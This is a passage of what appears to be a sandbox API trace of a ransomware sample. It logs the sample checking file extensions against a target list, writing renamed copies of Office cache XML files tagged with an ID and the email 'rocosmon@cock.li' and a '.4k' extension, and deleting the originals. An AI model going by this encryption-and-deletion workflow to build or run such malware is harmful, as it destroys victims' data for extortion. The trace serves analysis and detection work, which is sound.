	[0088.995] lstrlenW (lpString=".pdf") returned 4
	[0088.995] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString=".xls") returned 4
	[0088.995] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString=".xlsx") returned 5
	[0088.995] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0088.995] lstrlenW (lpString=".ppt") returned 4
	[0088.995] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.995] lstrlenW (lpString=".zip") returned 4
	[0088.995] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.995] lstrlenW (lpString=".rar") returned 4
	[0088.995] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString=".bz2") returned 4
	[0088.995] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString=".7z") returned 3
	[0088.995] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.995] lstrlenW (lpString=".dbf") returned 4
	[0088.995] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.995] lstrlenW (lpString=".1cd") returned 4
	[0088.995] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.995] lstrlenW (lpString=".jpg") returned 4
	[0088.995] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.996] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.996] lstrlenW (lpString="WordMUI.xml") returned 11
	[0088.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.996] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1800) returned 1
	[0088.996] CloseHandle (hObject=0x18c) returned 1
	[0088.996] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020
	[0088.996] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0088.996] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.996] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.997] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0088.997] GetLastError () returned 0x0
	[0088.997] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x708, lpOverlapped=0x0) returned 1
	[0089.033] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x710, lpOverlapped=0x0) returned 1
	[0089.035] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.035] WriteFile (in: hFile=0x190, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0089.035] SetEndOfFile (hFile=0x190) returned 1
	[0089.035] CloseHandle (hObject=0x190) returned 1
	[0089.048] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.048] SetEndOfFile (hFile=0x18c) returned 1
	[0089.048] CloseHandle (hObject=0x18c) returned 1
	[0089.048] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.049] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1
	[0089.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.049] lstrlenW (lpString=".doc") returned 4
	[0089.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.049] lstrlenW (lpString=".docx") returned 5
	[0089.049] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.049] lstrlenW (lpString=".pdf") returned 4
	[0089.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.049] lstrlenW (lpString=".xls") returned 4
	[0089.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.049] lstrlenW (lpString=".xlsx") returned 5
	[0089.049] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.049] lstrlenW (lpString=".ppt") returned 4
	[0089.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.049] lstrlenW (lpString=".zip") returned 4
	[0089.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.050] lstrlenW (lpString=".rar") returned 4
	[0089.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString=".bz2") returned 4
	[0089.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString=".7z") returned 3
	[0089.050] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.050] lstrlenW (lpString=".dbf") returned 4
	[0089.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.050] lstrlenW (lpString=".1cd") returned 4
	[0089.050] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.050] lstrlenW (lpString=".jpg") returned 4
	[0089.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.050] lstrlenW (lpString=".doc") returned 4
	[0089.050] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString=".docx") returned 5
	[0089.050] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.050] lstrlenW (lpString=".pdf") returned 4
	[0089.050] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString=".xls") returned 4
	[0089.050] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.050] lstrlenW (lpString=".xlsx") returned 5
	[0089.050] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.050] lstrlenW (lpString=".ppt") returned 4
	[0089.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.051] lstrlenW (lpString=".zip") returned 4
	[0089.051] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.051] lstrlenW (lpString=".rar") returned 4
	[0089.051] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.051] lstrlenW (lpString=".bz2") returned 4
	[0089.051] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.051] lstrlenW (lpString=".7z") returned 3
	[0089.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.051] lstrlenW (lpString=".dbf") returned 4
	[0089.051] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.051] lstrlenW (lpString=".1cd") returned 4
	[0089.051] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74
	[0089.051] lstrlenW (lpString=".jpg") returned 4
	[0089.051] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.051] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.051] lstrlenW (lpString="Proof.xml") returned 9
	[0089.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0089.639] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1457) returned 1
	[0089.639] CloseHandle (hObject=0x1a0) returned 1
	[0089.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020
	[0089.639] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0089.639] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.639] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0089.639] GetLastError () returned 0x0
	[0089.639] ReadFile (in: hFile=0x1a0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x5b1, lpOverlapped=0x0) returned 1
	[0089.694] WriteFile (in: hFile=0x1a4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0089.695] ReadFile (in: hFile=0x1a0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.695] WriteFile (in: hFile=0x1a4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.695] SetEndOfFile (hFile=0x1a4) returned 1
	[0089.695] CloseHandle (hObject=0x1a4) returned 1
	[0089.700] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.700] SetEndOfFile (hFile=0x1a0) returned 1
	[0089.702] CloseHandle (hObject=0x1a0) returned 1
	[0089.703] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.707] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1
	[0089.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.708] lstrlenW (lpString=".doc") returned 4
	[0089.708] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.709] lstrlenW (lpString=".docx") returned 5
	[0089.710] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0089.710] lstrlenW (lpString=".pdf") returned 4
	[0089.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.710] lstrlenW (lpString=".xls") returned 4
	[0089.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.710] lstrlenW (lpString=".xlsx") returned 5
	[0089.710] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0089.710] lstrlenW (lpString=".ppt") returned 4
	[0089.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.710] lstrlenW (lpString=".zip") returned 4
	[0089.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.710] lstrlenW (lpString=".rar") returned 4
	[0089.710] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.710] lstrlenW (lpString=".bz2") returned 4
	[0089.710] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.710] lstrlenW (lpString=".7z") returned 3
	[0089.710] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.710] lstrlenW (lpString=".dbf") returned 4
	[0089.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.711] lstrlenW (lpString=".1cd") returned 4
	[0089.711] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.711] lstrlenW (lpString=".jpg") returned 4
	[0089.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.711] lstrlenW (lpString=".doc") returned 4
	[0089.711] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString=".docx") returned 5
	[0089.711] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0089.711] lstrlenW (lpString=".pdf") returned 4
	[0089.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString=".xls") returned 4
	[0089.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString=".xlsx") returned 5
	[0089.711] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0089.711] lstrlenW (lpString=".ppt") returned 4
	[0089.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.711] lstrlenW (lpString=".zip") returned 4
	[0089.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.711] lstrlenW (lpString=".rar") returned 4
	[0089.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.711] lstrlenW (lpString=".bz2") returned 4
	[0089.712] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.712] lstrlenW (lpString=".7z") returned 3
	[0089.712] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.712] lstrlenW (lpString=".dbf") returned 4
	[0089.712] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.712] lstrlenW (lpString=".1cd") returned 4
	[0089.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81
	[0089.712] lstrlenW (lpString=".jpg") returned 4
	[0089.712] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.712] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.712] lstrlenW (lpString="InfoPathMUI.xml") returned 15
	[0089.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0089.713] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1231) returned 1
	[0089.713] CloseHandle (hObject=0x1a0) returned 1
	[0089.713] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020
	[0089.713] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0089.714] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.714] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0089.714] GetLastError () returned 0x0
	[0089.714] ReadFile (in: hFile=0x1a0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x4cf, lpOverlapped=0x0) returned 1
	[0089.768] WriteFile (in: hFile=0x1a4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x4d0, lpOverlapped=0x0) returned 1
	[0089.771] ReadFile (in: hFile=0x1a0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.772] WriteFile (in: hFile=0x1a4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0089.773] SetEndOfFile (hFile=0x1a4) returned 1
	[0089.773] CloseHandle (hObject=0x1a4) returned 1
	[0089.776] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.776] SetEndOfFile (hFile=0x1a0) returned 1
	[0089.777] CloseHandle (hObject=0x1a0) returned 1
	[0089.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.777] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1
	[0089.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.777] lstrlenW (lpString=".doc") returned 4
	[0089.777] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.777] lstrlenW (lpString=".docx") returned 5
	[0089.777] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.777] lstrlenW (lpString=".pdf") returned 4
	[0089.777] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString=".xls") returned 4
	[0089.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString=".xlsx") returned 5
	[0089.778] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.778] lstrlenW (lpString=".ppt") returned 4
	[0089.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.778] lstrlenW (lpString=".zip") returned 4
	[0089.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.778] lstrlenW (lpString=".rar") returned 4
	[0089.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString=".bz2") returned 4
	[0089.778] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.778] lstrlenW (lpString=".7z") returned 3
	[0089.778] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0089.778] lstrlenW (lpString=".dbf") returned 4
